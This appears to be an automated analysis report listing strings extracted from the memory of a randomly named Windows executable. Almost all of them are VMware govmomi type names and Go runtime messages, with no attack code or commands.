Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: %VirtualMachineRelocateSpecDiskLocatorCxml:"VirtualMachineRelocateSpecDiskLocator,omitempty" json:"_value"
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.AlarmEmailCompletedEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3770
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.HostLowLevelProvisioningManagerVmRecoveryInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.RetrieveSnapshotInfoRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.713
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1117
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2449
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.712
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1118
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2448
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3779
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.711
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1119
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.FindByDnsName
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.710
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*DvsEventPortBlockState).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2441
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3772
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*VirtualMachineStandbyActionType).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1110
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2440
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3771
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1111
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.719
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2443
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3774
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1112
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.718
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2442
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3773
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VmGuestRebootEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1113
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.717
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2445
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3776
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1114
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.716
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2444
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3775
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1115
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.715
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2447
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3778
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VirtualCdromIsoBackingInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.714
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1116
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2446
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3777
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.HostDhcpServiceSpec
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*HostPowerOperationType).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VmDasUpdateErrorEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/xml.(*Encoder).Flush
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/json.jsonError.Error
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VmRenamedEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.702
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1106
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2438
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3769
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.701
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1107
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2437
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3768
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.700
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.CryptoManagerKmipCryptoKeyStatusKeyUnavailableReason.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1108
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1109
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2439
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.ComputeResourceConfigSpec
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.ExtendVirtualDiskRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: VmToolsUpgradeFault
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2430
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3761
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.709
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3760
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1100
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.708
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2432
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3763
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.SendTestNotification
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1101
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.707
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2431
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3762
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1102
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.DistributedVirtualSwitchNetworkResourceControlVersion.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.706
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2434
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3765
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1103
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.705
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2433
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3764
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1104
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.704
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2436
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3767
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1105
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.703
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2435
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3766
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*VirtualMachineConfigInfoSwapPlacementType).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.QueryDvsByUuid
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.PrivilegePolicyDef
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.ClusterReconfiguredEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: *types.VMwareDvsIpfixCapability
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.ReconnectHostRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2427
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3758
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: '*types.VirtualMachinePciPassthroughInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.VMotionCompatibilityType.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2426
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3757
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2429
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2428
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3759
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3750
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: %s115792089210356248762697446949407573530086143415290314195533631308867097853951115792089210356248762697446949407573529996955224135760342422259061068512044369heap profile: (\d+): (\d+) \[ (\d+): (\d+) \] @ (heap[_a-z0-9])/?(\d)cannot convert slice with length %y to array or pointer to array with length %xsize of data directories(%d) is inconsistent with number of data directories(%d)x509: invalid signature: parent certificate cannot sign this kind of certificatebug: unexpected way for two patterns %s and %s to conflict: methods %s, paths %sIf true, avoid headers when opening log files (no effect when -logtostderr=true)The PE Optional Header size can not accommodate for the NumberOfRvaAndSizes fieldx509: a root or intermediate certificate is not authorized to sign for this name: If non-empty, write log files in this directory (no effect when -logtostderr=true)Memory that is occupied by runtime mspan structures that are currently being used.refusing to use HTTP_PROXY value in CGI environment; see golang.org/s/cgihttpproxyNumber of heap bytes released to OS. Equals to /memory/classes/heap/released:bytes.AddSubMulDivOrAndLShRShNegModXorMovArShSwapSDivSModMovSX8MovSX16MovSX32InvalidALUOpreflect: embedded type with methods not implemented if there is more than one fieldx509: issuer has name constraints but leaf contains unknown or unconstrained name: (possibly because of %q while trying to verify candidate authority certificate %q)Memory that is occupied by runtime mcache structures that are currently being used.x509: signature algorithm specifies an %s public key, but have public key of type %Tinvalid relocation information. Base Relocation VirtualAddress is outside of PE Imagereflect.Value.Interface: cannot return value obtained from unexported field or methoddescriptor %s already exists with the same fully-qualified name and const label valuesreflect: New of type that may not be allocated in heap (possibly undefined cgo C type)x509: a root or intermediate certificate is not authorized for an extended key usage: A summary of the wall-time pause (stop-the-world) duration in garbage collection cycles.Memory that is reserved for heap objects but is not currently used to hold heap objects.Number of bytes used for other system allocations. Equals to /memory/classes/other:bytes.pkcs7: cannot decrypt data: only RSA, DES, DES-EDE3, AES-256-CBC and AES-128-GCM supportedError parsing the import table. AddressOfData overlaps with THUNK_DATA for THUNK at: RVA 0x%xVirtualMachineDeviceRuntimeInfoVirtualEthernetCardRuntimeStateVmDirectPathGen2InactiveReasonVmsize mismatch (see https://github.com/golang/protobuf/issues/1609): calculated=%d, measured=%druntime: warning: IsLongPathAwareProcess failed to enable long paths; proceeding in fixup mode
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2421
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3752
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2420
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3751
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2423
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3754
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2422
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3753
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2425
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3756
